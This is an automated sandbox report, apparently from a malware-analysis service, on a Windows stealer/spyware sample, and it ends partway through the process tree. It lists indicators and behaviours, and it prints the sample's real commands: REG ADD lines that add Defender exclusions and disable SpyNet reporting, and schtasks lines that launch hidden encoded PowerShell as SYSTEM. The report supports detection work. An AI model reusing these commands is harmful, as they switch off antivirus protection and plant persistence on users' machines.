70ce3587b46a2b75b84116bdc5ee09d2b53ae6edaf7380b8a2855af3e0ca1146

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2022 10:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

905062d7e4374f14a079554a72dd4540
SHA1

3e086d67c4eb46be9a4fc51abadb20718e0f4544
SHA256

70ce3587b46a2b75b84116bdc5ee09d2b53ae6edaf7380b8a2855af3e0ca1146
SHA512

ca3bc58c214c4f1e814b51524fcaccfb6583ef9e4ea9b579bf433718847932b09fdd3b386ed72bf144f44f31b633cc4376f473342b127d0d4b03cc31b6549bc4
SSDEEP

196608:91Ov0/6nlN9HgqeaGNEsg0eIHAIDVBszR6XLMsIR5B:3OvC6nTmqeajsdgIVBsVf

Score

8^/10

spyware stealer

Malware Config

Signatures

Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeddKEiPV.exesjqBRye.exe

pid process

3436 Install.exe
4716 Install.exe
1184 ddKEiPV.exe
2920 sjqBRye.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe

pid	process
3436	Install.exe
4716	Install.exe
1184	ddKEiPV.exe
2920	sjqBRye.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops Chrome extension 1 IoCs

Processes:

sjqBRye.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	sjqBRye.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

sjqBRye.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini sjqBRye.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	sjqBRye.exe

Drops file in System32 directory 27 IoCs

Processes:

ddKEiPV.exesjqBRye.exepowershell.exeInstall.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	ddKEiPV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4A183155DB502CF599F3A8AD6680B8C3	sjqBRye.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3B8C7C973B30115D9F846695C38BBC1F	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70	sjqBRye.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sjqBRye.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ddKEiPV.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	sjqBRye.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B8C7C973B30115D9F846695C38BBC1F	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4A183155DB502CF599F3A8AD6680B8C3	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	sjqBRye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70	sjqBRye.exe

Drops file in Program Files directory 13 IoCs

Processes:

sjqBRye.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	sjqBRye.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	sjqBRye.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	sjqBRye.exe
File created	C:\Program Files (x86)\gcyASImYjZBU2\XaaYeIWgHwUon.dll	sjqBRye.exe
File created	C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\BykwevZ.dll	sjqBRye.exe
File created	C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\aqWNgMz.xml	sjqBRye.exe
File created	C:\Program Files (x86)\gUXCkMfuWzCyC\UCVQnQS.xml	sjqBRye.exe
File created	C:\Program Files (x86)\vCYWhmhlU\aYIgwo.dll	sjqBRye.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	sjqBRye.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	sjqBRye.exe
File created	C:\Program Files (x86)\vCYWhmhlU\cKNcPFP.xml	sjqBRye.exe
File created	C:\Program Files (x86)\gcyASImYjZBU2\edqwfJC.xml	sjqBRye.exe
File created	C:\Program Files (x86)\gUXCkMfuWzCyC\QkgbFBw.dll	sjqBRye.exe

Drops file in Windows directory 3 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job	schtasks.exe
File created	C:\Windows\Tasks\ehnYTuGzyhWqfGFsn.job	schtasks.exe
File created	C:\Windows\Tasks\ulJHerdNyNJKzGw.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2092	schtasks.exe
4696	schtasks.exe
3516	schtasks.exe
1312	schtasks.exe
1472	schtasks.exe
1472	schtasks.exe
2116	schtasks.exe
3952	schtasks.exe
1080	schtasks.exe
1876	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exesjqBRye.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	sjqBRye.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	sjqBRye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{06969d78-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "5"	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	sjqBRye.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	sjqBRye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEsjqBRye.exe

pid	process
4020	powershell.EXE
4020	powershell.EXE
4900	powershell.exe
4900	powershell.exe
2176	powershell.exe
2176	powershell.exe
4884	powershell.EXE
4884	powershell.EXE
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe
2920	sjqBRye.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	4020	powershell.EXE
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	4884	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXEddKEiPV.exepowershell.execmd.exe

description	pid	process	target process
PID 4520 wrote to memory of 3436	4520	file.exe	Install.exe
PID 4520 wrote to memory of 3436	4520	file.exe	Install.exe
PID 4520 wrote to memory of 3436	4520	file.exe	Install.exe
PID 3436 wrote to memory of 4716	3436	Install.exe	Install.exe
PID 3436 wrote to memory of 4716	3436	Install.exe	Install.exe
PID 3436 wrote to memory of 4716	3436	Install.exe	Install.exe
PID 4716 wrote to memory of 5036	4716	Install.exe	forfiles.exe
PID 4716 wrote to memory of 5036	4716	Install.exe	forfiles.exe
PID 4716 wrote to memory of 5036	4716	Install.exe	forfiles.exe
PID 4716 wrote to memory of 5004	4716	Install.exe	forfiles.exe
PID 4716 wrote to memory of 5004	4716	Install.exe	forfiles.exe
PID 4716 wrote to memory of 5004	4716	Install.exe	forfiles.exe
PID 5004 wrote to memory of 948	5004	forfiles.exe	cmd.exe
PID 5004 wrote to memory of 948	5004	forfiles.exe	cmd.exe
PID 5004 wrote to memory of 948	5004	forfiles.exe	cmd.exe
PID 5036 wrote to memory of 2708	5036	forfiles.exe	cmd.exe
PID 5036 wrote to memory of 2708	5036	forfiles.exe	cmd.exe
PID 5036 wrote to memory of 2708	5036	forfiles.exe	cmd.exe
PID 948 wrote to memory of 1360	948	cmd.exe	reg.exe
PID 948 wrote to memory of 1360	948	cmd.exe	reg.exe
PID 948 wrote to memory of 1360	948	cmd.exe	reg.exe
PID 2708 wrote to memory of 1352	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 1352	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 1352	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 4816	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 4816	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 4816	2708	cmd.exe	reg.exe
PID 948 wrote to memory of 1088	948	cmd.exe	reg.exe
PID 948 wrote to memory of 1088	948	cmd.exe	reg.exe
PID 948 wrote to memory of 1088	948	cmd.exe	reg.exe
PID 4716 wrote to memory of 1472	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 1472	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 1472	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 1396	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 1396	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 1396	4716	Install.exe	schtasks.exe
PID 4020 wrote to memory of 2136	4020	powershell.EXE	gpupdate.exe
PID 4020 wrote to memory of 2136	4020	powershell.EXE	gpupdate.exe
PID 4716 wrote to memory of 4136	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 4136	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 4136	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 2116	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 2116	4716	Install.exe	schtasks.exe
PID 4716 wrote to memory of 2116	4716	Install.exe	schtasks.exe
PID 1184 wrote to memory of 4900	1184	ddKEiPV.exe	powershell.exe
PID 1184 wrote to memory of 4900	1184	ddKEiPV.exe	powershell.exe
PID 1184 wrote to memory of 4900	1184	ddKEiPV.exe	powershell.exe
PID 4900 wrote to memory of 1864	4900	powershell.exe	cmd.exe
PID 4900 wrote to memory of 1864	4900	powershell.exe	cmd.exe
PID 4900 wrote to memory of 1864	4900	powershell.exe	cmd.exe
PID 1864 wrote to memory of 456	1864	cmd.exe	reg.exe
PID 1864 wrote to memory of 456	1864	cmd.exe	reg.exe
PID 1864 wrote to memory of 456	1864	cmd.exe	reg.exe
PID 4900 wrote to memory of 3592	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 3592	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 3592	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 4060	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 4060	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 4060	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 3312	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 3312	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 3312	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 5076	4900	powershell.exe	reg.exe
PID 4900 wrote to memory of 5076	4900	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4520

C:\Users\Admin\AppData\Local\Temp\7zS6CC8.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3436

C:\Users\Admin\AppData\Local\Temp\7zS7479.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4716

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:2708

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1352

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:4816

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:948

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1360

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gitRKWhDJ" /SC once /ST 02:10:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1472

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gitRKWhDJ"
4⤵
PID:1396

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gitRKWhDJ"
4⤵
PID:4136

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 11:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\ddKEiPV.exe\" mF /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4420

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1584

C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\ddKEiPV.exe
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\ddKEiPV.exe mF /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
